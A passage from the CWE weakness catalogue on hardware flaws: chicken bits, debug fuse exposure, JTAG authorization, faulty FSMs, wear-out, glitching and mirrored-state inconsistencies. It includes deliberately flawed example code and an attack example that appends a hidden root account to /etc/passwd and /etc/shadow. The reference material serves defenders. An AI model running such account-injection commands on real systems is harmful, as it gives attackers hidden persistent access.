### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data <i>Predicatable random numbers can render the protection mechanisms in place ineffective</i>	High

### Potential Mitigations

#### Phase: Architecture and Design

Leverage well-known true random number generation techniques.

*Effectiveness = High*

### Demonstrative Examples

#### Example 1:

Suppose a cryptographic function expects to begin with a random seed.

During the implementation phase, due to space constraint, a proper random-number-generator could not be used, and instead of using a DRNG (Deterministic Random Number Generator), the designer uses a LFSR (Linear Feedback Shift Register) to generate the seed. While an LFSR does provide pseudo-random number generation service, its entropy (measure of randomness) is less than that of a DRNG. Thus, using an LFSR weakens the strength of the crypto. This lack of entropy would weaken the overall crypto.

### MemberOf Relationships

## CWE-1242: Inclusion of Undocumented Features or Chicken Bits

<b>Weakness ID</b> : 1242	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The chip includes chicken bits or undocumented features that can create entry points for unauthorized actors.

### Extended Description

A common design practice is to use "chicken bits," which are bits on a chip that can be used to disable certain functional security features. They can facilitate quick identification and isolation of faulty components, features that negatively affect performance, or features that do not provide the required controllability for debug and test. Another way to achieve this is through implementation of undocumented features. An attacker might exploit these interfaces for unauthorized access.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Operating\_System** : OS-Independent (*Prevalence = Undetermined*)

**Architecture** : Architecture-Independent (*Prevalence = Undetermined*)

**Technology** : System on Chip (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Modify Memory	
Integrity	Read Memory	
Availability	Execute Unauthorized Code or Commands	
Access Control	Gain Privileges or Assume Identity	
	Bypass Protection Mechanism	

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: Implementation**

Do not implement chicken bits. If implemented, ensure that they are disabled in production devices. Document all interfaces to the chip.

*Effectiveness = High*

### Demonstrative Examples

#### Example 1:

Consider a chip that comes with various, security measures, such as secure boot. The secure-boot process performs firmware-integrity verification at boot time, and this code is stored in a separate SPI-flash chip. However, this code contains undocumented "special access features" intended to be used for performing failure analysis and can only be unlocked by the chip designer.

*Example Language: Other*

*(bad)*

Attackers dump the code from the chip and then perform reverse engineering to analyze the code. The undocumented, special-access features are identified, and attackers can activate them by sending specific commands via UART before secure-boot phase completes. Using these hidden features, attackers can perform reads and writes to memory via the UART interface. At runtime, the attackers can also execute arbitrary code and dump the entire memory contents.

Remove all chicken bits and hidden features that are exposed to attackers. Add authorization schemes that rely on cryptographic primitives to access any features that the manufacturer does not want to expose. Clearly document all interfaces.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

## CWE-1243: Exposure of Security-Sensitive Fuse Values During Debug

**Weakness ID** : 1243

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Base

### Description

The product exposes security-sensitive values stored in fuses during debug.

### Extended Description

Several security-sensitive values are blown as fuses in a chip to be used during early-boot flows or later at runtime. Examples of these security-sensitive values include root keys, encryption keys, manufacturing-specific information, chip-manufacturer-specific information, and original-equipment-manufacturer (OEM) data. After the chip is powered on, these values are sensed from fuses and stored in temporary locations such as registers and local memories. These locations are typically access-control protected from untrusted agents capable of accessing them. Even to trusted agents, only read-access is provided. However, these locations are not blocked during debug flows, allowing an untrusted debugger to access these assets and compromise system security.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		200	Exposure of Sensitive Information to an Unauthorized Actor	465

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Operating\_System** : OS-Independent (*Prevalence = Undetermined*)

**Architecture** : Architecture-Independent (*Prevalence = Undetermined*)

**Technology** : System on Chip (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Modify Memory	

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

### Potential Mitigations

#### Phase: Architecture and Design

#### Phase: Implementation

When in debug mode, disable access to security-sensitive values sensed from fuses and stored in temporary locations.

### Demonstrative Examples

#### Example 1:

Secret manufacturing data (such as die information) are stored in fuses. While the chip powers on, this value is sensed from fuses and is stored in a microarchitectural register. This register is only given read access to trusted software running on the core. Untrusted software running on the core cannot access it.

*Example Language: Other*

*(bad)*

All microarchitectural registers in this chip can be accessed through the debug interface. As a result, even an untrusted debugger can access this data and get hold of secret manufacturing data.

*Example Language:*

*(informative)*

Registers used to store security-sensitive values sensed from fuses should be blocked on debug. They should be disconnected from the debug interface.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1207	Debug and Test Problems		1194 1939

## CWE-1244: Improper Authorization on Physical Debug and Test Interfaces

**Weakness ID :** 1244

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Base

### Description

The product's physical debug and test interface protection does not block untrusted agents, resulting in unauthorized access to and potentially control of sensitive assets.

### Extended Description

If the product implements access-control protection on the debug and test interface, a debugger is typically required to enter either a valid response to a challenge provided by the authorization logic or, alternatively, enter the right password in order to exercise the debug and test interface. However, if this protection mechanism does not exclude all untrusted, debug agents, an attacker could access/control security-sensitive registers.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		285	Improper Authorization	621

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Operating\_System** : OS-Independent (*Prevalence = Undetermined*)

**Architecture** : Architecture-Independent (*Prevalence = Undetermined*)

**Technology** : System on Chip (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	
Integrity	Modify Memory	
Authorization Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism	

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: Implementation**

For security-sensitive assets accessible over debug/test interfaces, only allow trusted agents.

### Demonstrative Examples

#### Example 1:

JTAG interface is used to perform debugging and providing insights into the CPU core for developers. JTAG-access protection is implemented as part of the JTAG\_SHIELD bit in the register hw\_digctl\_ctrl REGISTER. This register is not set by default and is set after the system boots from ROM, and control is transferred to the user software.

*Example Language: Other*

*(bad)*

This means that end user has access to JTAG at system reset and during ROM code execution before control is transferred to user software. With this loophole, an attacker can modify the boot flow and subsequently disclose data-encryption keys.

*Example Language:*

*(informative)*

The default value of this register bit should be set to 1. This prevents JTAG being enabled at system reset.

### Observed Examples

Reference	Description
<b>CVE-2019-18827</b>	JTAG access is disabled after ROM code execution. This means that JTAG access is possible when the system is running code from ROM before transferring control over to embedded firmware. This allows an attacker to modify boot flow and successfully bypass secure-boot process. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-18827">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-18827</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

## CWE-1245: Improper Finite State Machines (FSMs) in Hardware Logic

<b>Weakness ID</b> : 1245	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

Faulty finite state machines (FSMs) in the hardware logic allow an attacker to put the system in an undefined state, to cause a denial of service (DoS) or gain privileges on the victim's system.

### Extended Description

The functionality and security of the system heavily depend on the implementation of FSMs. FSMs can be used to indicate the current security state of the system. Lots of secure data operations and data transfers rely on the state reported by the FSM. Faulty FSM designs that do not account for all states, either through undefined states (left as don't cares) or through incorrect implementation, might lead an attacker to drive the system into an unstable state from which the system cannot recover without a reset, thus causing a DoS. Depending on what the FSM is used for, an attacker might also gain additional privileges to launch further attacks and compromise the security guarantees.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		684	Incorrect Provision of Specified Functionality	1328

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Operating\_System** : OS-Independent (*Prevalence = Undetermined*)

**Architecture** : Architecture-Independent (*Prevalence = Undetermined*)

**Technology** : System on Chip (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Availability	Unexpected State	

Scope	Impact	Likelihood
Access Control	DoS: Crash, Exit, or Restart DoS: Instability Gain Privileges or Assume Identity	

## Potential Mitigations

### Phase: Architecture and Design

### Phase: Implementation

Define all possible states and handle all unused states through default statements. Ensure that system defaults to a secure state.

*Effectiveness = High*

## Demonstrative Examples

### Example 1:

The FSM shown in the "bad" code snippet below assigns the output out based on the value of state, which is determined based on the user provided input, user\_input.

*Example Language: Verilog*

*(bad)*

```
module fsm_1(out, user_input, clk, rst_n);
input [2:0] user_input;
input clk, rst_n;
output reg [2:0] out;
reg [1:0] state;
always @ (posedge clk or negedge rst_n )
begin
    if (!rst_n)
        state = 3'h0;
    else
        case (user_input)
            3'h0:
            3'h1:
            3'h2:
            3'h3: state = 2'h3;
            3'h4: state = 2'h2;
            3'h5: state = 2'h1;
        endcase
    end
    out <= {1'h1, state};
endmodule
```

The case statement does not handle the scenario when user provides inputs of 3'h6 and 3'h7 using a default statement. Those inputs push the system to an undefined state and might cause a crash (denial of service) or any other unanticipated outcome.

Adding a default statement to handle undefined inputs mitigates this issue. This is shown in the "Good" code snippet below. The default statement is in bold.

*Example Language: Other*

*(good)*

```
case (user_input)
    3'h0:
    3'h1:
    3'h2:
    3'h3: state = 2'h3;
    3'h4: state = 2'h2;
    3'h5: state = 2'h1;
    default: state = 2'h0;
endcase
```

## MemberOf Relationships

## CWE-1246: Improper Write Handling in Limited-write Non-Volatile Memories

<b>Weakness ID</b> : 1246	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

## Description

The product does not implement or incorrectly handles the implementation of write operations in limited-write non-volatile memories.

## Extended Description

Non-volatile memories such as NAND Flash, EEPROM, etc. have individually erasable segments, each of which can be put through a limited number of program/erase or write cycles. For example, the device can only endure a limited number of writes, after which the device becomes unreliable. In order to wear out the cells in a uniform manner, non-volatile memory and storage products based on the above-mentioned technologies implement a technique called wear leveling. Once a set threshold is reached, wear leveling maps writes of a logical block to a different physical block. This prevents a single physical block from prematurely failing due to a high concentration of writes. If wear leveling is improperly implemented, attackers can execute a write virus and cause the storage to become unreliable much faster than the minimally guaranteed platform lifetime.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1288

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Operating\_System** : OS-Independent (*Prevalence = Undetermined*)

**Architecture** : Architecture-Independent (*Prevalence = Undetermined*)

**Technology** : System on Chip (*Prevalence = Undetermined*)

**Technology** : Memory IP (*Prevalence = Undetermined*)

**Technology** : Storage IP (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Instability	

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: Implementation**

**Phase: Testing**

Include secure wear leveling algorithms and ensure that it cannot be bypassed by known write viruses.

*Effectiveness = High*

### Demonstrative Examples

#### Example 1:

An adversary can render a memory line unusable by writing to it repeatedly.

Below is example code from [REF-1058] that the user can execute repeatedly to cause line failure. W is the maximum associativity of any cache in the system; S is the size of the largest cache in the system.

*Example Language: Other*

*(bad)*

```
Do aligned alloc of (W+1) arrays each of size S
while(1) {
for (ii = 0; i < W + 1; ii++)
array[ii].element[0]++;
}
```

Without wear leveling, the above attack will be successful. Simple randomization of blocks will not suffice as instead of the original physical block, the randomized physical block will be worn out.

*Example Language:*

*(informative)*

Wear leveling must be used to even out writes to the device.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

## CWE-1247: Missing Protection Against Voltage and Clock Glitches

Weakness ID : 1247

Status: Incomplete

**Structure** : Simple  
**Abstraction** : Base

## Description

The product does not contain the necessary additional circuitry or sensors to detect and mitigate voltage and clock glitches.

## Extended Description

A product might support security features such as secure boot that are supported through hardware and firmware implementation. This involves establishing a chain of trust, starting with an immutable root of trust by checking the signature of the next stage (culminating with the OS and runtime software) against a golden value before transferring control. The intermediate stages typically set up the system in a secure state by configuring several access control settings. Similarly, any password-checking logic for exercising the debug interface, etc. can implemented in hardware, firmware, or both. This implementation needs to be robust against fault attacks such as voltage glitches and clock glitches that an attacker may leverage to compromise the system.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	703	Improper Check or Handling of Exceptional Conditions	1352

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Operating\_System** : OS-Independent (*Prevalence = Undetermined*)

**Architecture** : Architecture-Independent (*Prevalence = Undetermined*)

**Technology** : System on Chip (*Prevalence = Undetermined*)

**Technology** : Power Management IP (*Prevalence = Undetermined*)

**Technology** : Clock/Counter IP (*Prevalence = Undetermined*)

**Technology** : Sensor IP (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Gain Privileges or Assume Identity	
Integrity	Bypass Protection Mechanism	
Availability	Read Memory	
Access Control	Modify Memory	
	Execute Unauthorized Code or Commands	

## Potential Mitigations

**Phase: Architecture and Design**

**Phase: Implementation**

At the circuit-level, using Tunable Replica Circuits (TRCs) or special flip-flops such as Razor flip-flops helps mitigate glitches. At SoC or platform level, level sensors can be implemented to detect glitches. Implementing redundancy in security-sensitive code (e.g., where checks are performed) helps in mitigating glitches.

## Demonstrative Examples

### Example 1:

Below is a representative snippet of C code that is part of the secure-boot flow. A signature of the runtime-firmware image is calculated and compared against the golden value. If the signatures match, the bootloader loads runtime firmware. If not, it is not loaded. If the underlying hardware executing this code does not contain any circuitry or sensors to detect voltage/clock glitches, an attacker might launch a fault-injection attack right when the signature check is happening (at the location marked with the comment), and it could bypass the signature-checking process.

Example Language: Other

(bad)

```
...
if (signature_matches) { // <-Glitch Here
load_runtime_firmware();
}
else {
do_not_load_runtime_firmware();
}
...
```

After bypassing secure boot, an attacker can gain access to system assets to which the attacker should not have access.

Example Language:

(informative)

If the underlying hardware detects a voltage/clock glitch, the information can be used to prevent the glitch from being successful.

## Observed Examples

Reference	Description
<b>CVE-2019-17391</b>	Lack of anti-glitch protections allows an attacker to launch physical attack to bypass secure boot and read protected eFuses. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17391">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17391</a>

## CWE-1248: Semiconductor Defects in Hardware Logic with Security-Sensitive Implications

**Weakness ID** : 1248

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Base

### Description

The security-sensitive hardware module contains semiconductor defects.

### Extended Description

A semiconductor device can fail for various reasons. While some are manufacturing and packaging defects, the rest are due to prolonged use or usage under extreme conditions. Some mechanisms that lead to semiconductor defects include encapsulation failure, die-attach failure, wire-bond failure, bulk-silicon defects, oxide-layer faults, aluminum-metal faults (including electromigration, corrosion of aluminum, etc.), and thermal/electrical stress. These defects manifest as faults on chip-internal signals or registers, have the effect of inputs, outputs, or intermediate signals being always 0 or always 1, and do not switch as expected. If such faults occur in security-sensitive hardware modules, security guarantees offered by the device will be compromised.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1341

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Operating\_System** : OS-Independent (*Prevalence = Undetermined*)

**Architecture** : Architecture-Independent (*Prevalence = Undetermined*)

**Technology** : Technology-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Instability	
Access Control		

## Potential Mitigations

### Phase: Testing

While semiconductor-manufacturing companies implement several mechanisms to continuously improve the semiconductor manufacturing process to ensure reduction of defects, some defects can only be fixed after manufacturing. Post-manufacturing testing of silicon die is critical. Fault models such as stuck-at-0 or stuck-at-1 must be used to develop post-manufacturing test cases and achieve good coverage. Once the silicon packaging is done, extensive post-silicon testing must be performed to ensure that hardware logic implementing security functionalities is defect-free.

### Phase: Operation

Operating the hardware outside device specification, such as at extremely high temperatures, voltage, etc., accelerates semiconductor degradation and results in defects. When these defects manifest as faults in security-critical, hardware modules, it results in compromise of security guarantees. Thus, operating the device within the specification is important.

## Demonstrative Examples

### Example 1:

The network-on-chip implements a firewall for access control to peripherals from all IP cores capable of mastering transactions.

*Example Language: Other*

*(bad)*

A manufacturing defect in this logic manifests itself as a logical fault, which always sets the output of the filter to "allow" access.

Post-manufacture testing must be performed to ensure that hardware logic implementing security functionalities is defect-free.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

## CWE-1249: Application-Level Admin Tool with Inconsistent View of Underlying Operating System

**Weakness ID :** 1249

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Base

## Description

The product provides an application for administrators to manage parts of the underlying operating system, but the application does not accurately identify all of the relevant entities or resources that exist in the OS; that is, the application's model of the OS's state is inconsistent with the OS's actual state.

## Extended Description

Many products provide web-based applications or other software for managing the underlying operating system. This is common with cloud, network access devices, home networking, and other systems. When the management tool does not accurately represent what is in the OS - such as user accounts - then the administrator might not see suspicious activities that would be noticed otherwise.

For example, numerous systems utilize a web front-end for administrative control. They also offer the ability to add, alter, and drop users with various privileges as it relates to the functionality of the system. A potential architectural weakness may exist where the user information reflected in the web interface does not mirror the users in the underlying operating system. Many web UI or REST APIs use the underlying operating system for authentication; the system's logic may also track an additional set of user capabilities within configuration files and datasets for authorization capabilities. When there is a discrepancy between the user information in the UI or REST API's interface system and the underlying operating system's user listing, this may introduce a weakness into the system. For example, if an attacker compromises the OS and adds a new user account - a "ghost" account - then the attacker could escape detection if the management tool does not list the newly-added account.

This discrepancy could be exploited in several ways:

- A rogue admin could insert a new account into a system that will persist if they are terminated or wish to take action on a system that cannot be directly associated with them.
- An attacker can leverage a separate command injection attack available through the web interface to insert a ghost account with shell privileges such as ssh.
- An attacker can leverage existing web interface APIs, manipulated in such a way that a new user is inserted into the operating system, and the user web account is either partially created or not at all.
- An attacker could create an admin account which is viewable by an administrator, use this account to create the ghost account, delete logs and delete the first created admin account.

Many of these attacker scenarios can be realized by leveraging separate vulnerabilities related to XSS, command injection, authentication bypass, or logic flaws on the various systems.

## Relationships

ChildOf		1250	Improper Preservation of Consistency Between Independent Representations of Shared State	1771

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Operating\_System** : OS-Independent (*Prevalence = Undetermined*)

**Technology** : Web Based (*Prevalence = Undetermined*)

## Alternate Terms

**Ghost in the Shell** :

## Common Consequences

Scope	Impact	Likelihood
Access Control	Varies by Context	
Accountability	Hide Activities	
Other	Unexpected State	

### Potential Mitigations

#### Phase: Architecture and Design

Ensure that the admin tool refreshes its model of the underlying OS on a regular basis, and note any inconsistencies with configuration files or other data sources that are expected to have the same data.

### Demonstrative Examples

#### Example 1:

Suppose that an attacker successfully gains root privileges on a Linux system and adds a new 'user2' account:

*Example Language: Other*

*(attack)*

```
echo "user2:x:0:0:./root:" >> /etc/passwd;
echo "user2:!\$6!\$IdvyrM6VJnG8Su5U!\$1gmW3Nm.I04vxTQDQ1C8urm72JcAdOHZQwqiH/
nRtL8dPY80xS4Ovs5bPCMWnXKKWwmsocSWXupUf17LB3oS.:17256:0:99999:7:::" >> /etc/shadow;
```

This new user2 account would not be noticed on the web interface, if the interface does not refresh its data of available users.

It could be argued that for this specific example, an attacker with root privileges would be likely to compromise the admin tool or otherwise feed it with false data. However, this example shows how the discrepancy in critical data can help attackers to escape detection.

## CWE-1250: Improper Preservation of Consistency Between Independent Representations of Shared State

**Weakness ID :** 1250

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Base

### Description

The product has or supports multiple distributed components or sub-systems that are each required to keep their own local copy of shared data - such as state or cache - but the product does not ensure that all local copies remain consistent with each other.

### Extended Description

In highly distributed environments, or on systems with distinct physical components that operate independently, there is often a need for each component to store and update its own local copy of key data such as state or cache, so that all components have the same "view" of the overall system and operate in a coordinated fashion. For example, users of a social media service or a massively multiplayer online game might be using their own personal computers while also interacting with different physical hosts in a globally distributed service, but all participants must be able to have the same "view" of the world. Alternately, a processor's Memory Management Unit (MMU) might have

"shadow" MMUs to distribute its workload, and all shadow MMUs are expected to have the same accessible ranges of memory.

In such environments, it becomes critical for the product to ensure that this "shared state" is consistently modified across all distributed systems. If state is not consistently maintained across all systems, then critical transactions might take place out of order, or some users might not get the same data as other users. When this inconsistency affects correctness of operations, it can introduce vulnerabilities in mechanisms that depend on consistent state.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1288
ParentOf	E	1249	Application-Level Admin Tool with Inconsistent View of Underlying Operating System	1769
ParentOf	E	1251	Mirrored Regions with Different Values	1773

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Operating\_System** : OS-Independent (*Prevalence = Undetermined*)

**Architecture** : Architecture-Independent (*Prevalence = Undetermined*)

**Technology** : Cloud Computing (*Prevalence = Undetermined*)

**Technology** : Security IP (*Prevalence = Undetermined*)

**Technology** : Technology-Independent (*Prevalence = Undetermined*)

## Demonstrative Examples

### Example 1:

Suppose a processor's Memory Management Unit (MMU) has 5 other shadow MMUs to distribute its workload for its various cores. Each MMU has the start address and end address of "accessible" memory. Any time this accessible range changes (as per the processor's boot status), the main MMU sends an update message to all the shadow MMUs.

Suppose the interconnect fabric does not prioritize such "update" packets over other general traffic packets. This introduces a race condition. If an attacker can flood the target with enough messages so that some of those attack packets reach the target before the new access ranges gets updated, then the attacker can leverage this scenario.

## Notes

### Research Gap

Issues related to state and cache - creation, preservation, and update - are a significant gap in CWE that is expected to be addressed in future versions. It likely has relationships to concurrency and synchronization, incorrect behavior order, and other areas that already have some coverage in CWE, although the focus has typically been on independent processes on the same operating system - not on independent systems that are all a part of a larger system-of-systems.

## CWE-1251: Mirrored Regions with Different Values

**Weakness ID :** 1251

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Base

### Description

The product's architecture mirrors regions without ensuring that their contents always stay in sync.

### Extended Description

Having mirrored regions with different values might result in the exposure of sensitive information and/or other consequences, including loss of access control.

Due to architectural and performance constraints, one might need to duplicate a resource. The most common example of doing this in computer architecture is the concept of cache, which keeps a "local" copy of the data element in memory, because the time to access the memory (which is located far off from the computing core) is significantly longer compared to the time it takes to access a local copy (cache). Thus, keeping a local copy of some distant entity provides significant performance improvement. Unfortunately, this improvement also comes with a downside, since the product needs to ensure that the local copy always mirrors the original copy truthfully. If they get out of sync somehow, the computational result is no longer true.

In designing hardware, memory is not the only thing that gets mirrored. There are many other entities that get mirrored, too: registers, memory regions, and, in some cases, even whole units. For example, for a multi-core processor, if every memory access from any of those tens of cores goes through a single memory-management unit (MMU) for security reasons, then the MMU becomes a performance bottleneck. In such cases, it might make sense to create duplicate, local MMUs that will serve only a subset of the cores of processors rather than all of them. These local copies are also called "shadow copies" or "mirrored copies."

If the original resource that was being duplicated into these local copies never changed, the question of the local copies getting out of sync would not arise. Unfortunately, in many cases, the values inside the original copy change. For example, a memory range might be inaccessible during boot time, but once the boot process is over and the system is now in a stable state, that memory range may now be opened up for access. So, if a register(s) in the access-control unit stores the start and end addresses of the "accessible" memory chunks, those values would change after the boot process is over. Now, when the original copy changes, the mirrored copies must also change, and change fast.

This situation of shadow-copy-possibly-out-of-sync-with-original-copy might occur as a result of multiple scenarios, including the following:

- After the values in the original copy change, due to some reason the original copy does not send the "update" request to its shadow copies.
- After the values in the original copy change, the original copy dutifully sends the "update" request to its shadow copies, but due to some reason the shadow copy does not "execute" this update request.
- After the values in the original copy change, the original copy sends the "update" request to its shadow copies, and the shadow copy executes this update request faithfully. However, during the small time period when the original copy has "new" values and the shadow copy is still holding the "old" values, an attacker can exploit the old values. Then

it becomes a race condition between the attacker and the update process of who can reach the target, shadow copy first, and, if the attacker reaches first, the attacker wins.

- The attacker might send a "spoofed" update request to the target shadow copy, pretending that this update request is coming from the original copy. This spoofed request might cause the targeted shadow copy to update its values to some attacker-friendly values, while the original copies remain unchanged by the attacker.
- Suppose a situation where the original copy has a system of reverting back to its original value if it does not hear back from all the shadow copies that such copies have successfully completed the update request. In such a case, an attack might occur as follows: (1) the original copy might send an update request; (2) the shadow copy updates it; (3) the shadow copy sends back the successful completion message; (4) through a separate issue, the attacker is able to intercept the shadow copy's completion message. In this case, the original copy thinks that the update did not succeed, hence it reverts to its original value. Now there is a situation where the original copy has the "old" value, and the shadow copy has the "new" value.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1250	Improper Preservation of Consistency Between Independent Representations of Shared State	1771

### Applicable Platforms

**Language** : VHDL (*Prevalence = Undetermined*)

**Language** : Verilog (*Prevalence = Undetermined*)

**Operating\_System** : OS-Independent (*Prevalence = Undetermined*)

**Architecture** : Architecture-Independent (*Prevalence = Undetermined*)

**Technology** : Security IP (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Varies by Context	
Integrity		
Availability		
Access Control		
Accountability		
Authentication		
Authorization		
Non-Repudiation		

### Potential Mitigations

#### Phase: Architecture and Design

Whenever there are multiple, physically different copies of the same value that might change and the process to update them is not instantaneous and atomic, it is impossible to assert that the original and shadow copies will always be in sync - there will always be a time period when they are out of sync. To mitigate the consequential risk, the recommendations essentially are: Make this out-of-sync time period as small as possible, and Make the update process as robust as possible.

Effectiveness = Moderate

## Demonstrative Examples

### Example 1:

Suppose a processor's Memory Management Unit (MMU) has 5 other shadow MMUs to distribute its workload for its various cores. Each MMU has the start address and end address of "accessible" memory. Any time this accessible range changes (as per the processor's boot status), the main MMU sends an update message to all the shadow MMUs.

Suppose the interconnect fabric does not prioritize such "update" packets over other general traffic packets. This introduces a race condition. If an attacker can flood the target with enough messages so that some of those attack packets reach the target before the new access ranges gets updated, then the attacker can leverage this scenario.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1202	Memory and Storage Issues	1194	1937

## Notes

### Research Gap

Issues related to state and cache - creation, preservation, and update - are a significant gap in CWE that is expected to be addressed in future versions. It likely has relationships to concurrency and synchronization, incorrect behavior order, and other areas that already have some coverage in CWE, although the focus has typically been on independent processes on the same operating system - not on independent systems that are all a part of a larger system-of-systems.

## CWE-1252: CPU Hardware Not Configured to Support Exclusivity of Write and Execute Operations

<b>Weakness ID</b> : 1252	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

## Description

The CPU is not configured to provide hardware support for exclusivity of write and execute operations on memory. This allows an attacker to execute data from all of memory.

## Extended Description

